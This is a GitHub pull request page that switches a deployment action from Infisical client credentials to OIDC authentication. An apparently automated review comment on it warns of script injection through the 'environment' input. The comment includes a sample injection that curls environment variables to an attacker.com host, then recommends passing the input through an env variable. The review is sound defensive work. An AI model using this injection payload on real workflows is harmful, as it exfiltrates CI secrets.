-
Notifications
You must be signed in to change notification settings - Fork 275
Improve infisical workflow #2206
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: main
Are you sure you want to change the base?
Changes from 2 commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -4,30 +4,28 @@ inputs: | |
| environment: | ||
| description: "Target environment for deployment, e.g. staging" | ||
| required: true | ||
| infisical_client_id: | ||
| description: "Infisical client ID for accessing secrets" | ||
| required: true | ||
| infisical_client_secret: | ||
| description: "Infisical client secret for accessing secrets" | ||
| required: true | ||
| install_gcloud: | ||
| description: "Whether to install the gcloud CLI (needed for gsutil/docker auth)" | ||
| required: false | ||
| default: "false" | ||
| infisical_machine_identity_id: | ||
| description: "Infisical machine identity ID for accessing secrets" | ||
| required: true | ||
|
|
||
| runs: | ||
| using: "composite" | ||
| steps: | ||
| - uses: Infisical/secrets-action@v1.0.9 | ||
| - name: Pull infisical secrets into temporary file | ||
| uses: Infisical/secrets-action@v1.0.9 | ||
| with: | ||
| client-id: ${{ inputs.infisical_client_id }} | ||
| client-secret: ${{ inputs.infisical_client_secret }} | ||
| env-slug: ${{ inputs.environment }} | ||
| method: "oidc" | ||
| identity-id: ${{ inputs.infisical_machine_identity_id }} | ||
| project-slug: "infra-deployment" | ||
| env-slug: ${{ inputs.environment }} | ||
| export-type: "file" | ||
| file-output-path: "/.env.infisical" | ||
|
|
||
| - name: Load Environment Variables | ||
| - name: Transform infisical secrets into make include file, load a few as environment variables | ||
| id: load-env | ||
| run: | | ||
| echo ${{ inputs.environment }} > .last_used_env | ||
|
Comment on lines
+28
to
31
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. 🟣 This is a pre-existing script injection issue: Extended reasoning...What the bug is: GitHub Actions evaluates Specific code path: In Why existing code doesn't prevent it: There is no quoting, sanitization, or allowlist validation of Step-by-step proof: Suppose a user with write access triggers the workflow with echo staging; curl https://attacker.com/?token=$(env|base64) > .last_used_envBash executes both commands, exfiltrating environment variables (including any secrets loaded by prior steps). Pre-existing nature: Examining the diff, these lines carry no Practical impact: The attack requires How to fix: Use an env:
ENVIRONMENT: ${{ inputs.environment }}
run: |
echo "$ENVIRONMENT" > .last_used_env
cat .env.infisical | sed "s/='\(.*\)'$/=\1/g" > ".env.${ENVIRONMENT}"
set -a
. ".env.${ENVIRONMENT}"
set +a |
||
|
|
@@ -44,6 +42,15 @@ runs: | |
| echo "GH_WORKLOAD_IDENTITY_PROVIDER=${GH_WORKLOAD_IDENTITY_PROVIDER}" >> $GITHUB_ENV | ||
| shell: bash | ||
|
|
||
| - name: Load environment variables from Infisical | ||
| uses: Infisical/secrets-action@v1.0.15 | ||
| with: | ||
| method: "oidc" | ||
| identity-id: ${{ inputs.infisical_machine_identity_id }} | ||
| project-slug: "infra-deployment-env" | ||
djeebus marked this conversation as resolved.
Show resolved
Hide resolved
|
||
| env-slug: ${{ inputs.environment }} | ||
| export-type: "env" | ||
djeebus marked this conversation as resolved.
Show resolved
Hide resolved
|
||
|
|
||
| - name: Setup Service Account | ||
| uses: google-github-actions/auth@v2 | ||
| with: | ||
|
|
||
Uh oh!
There was an error while loading. Please reload this page.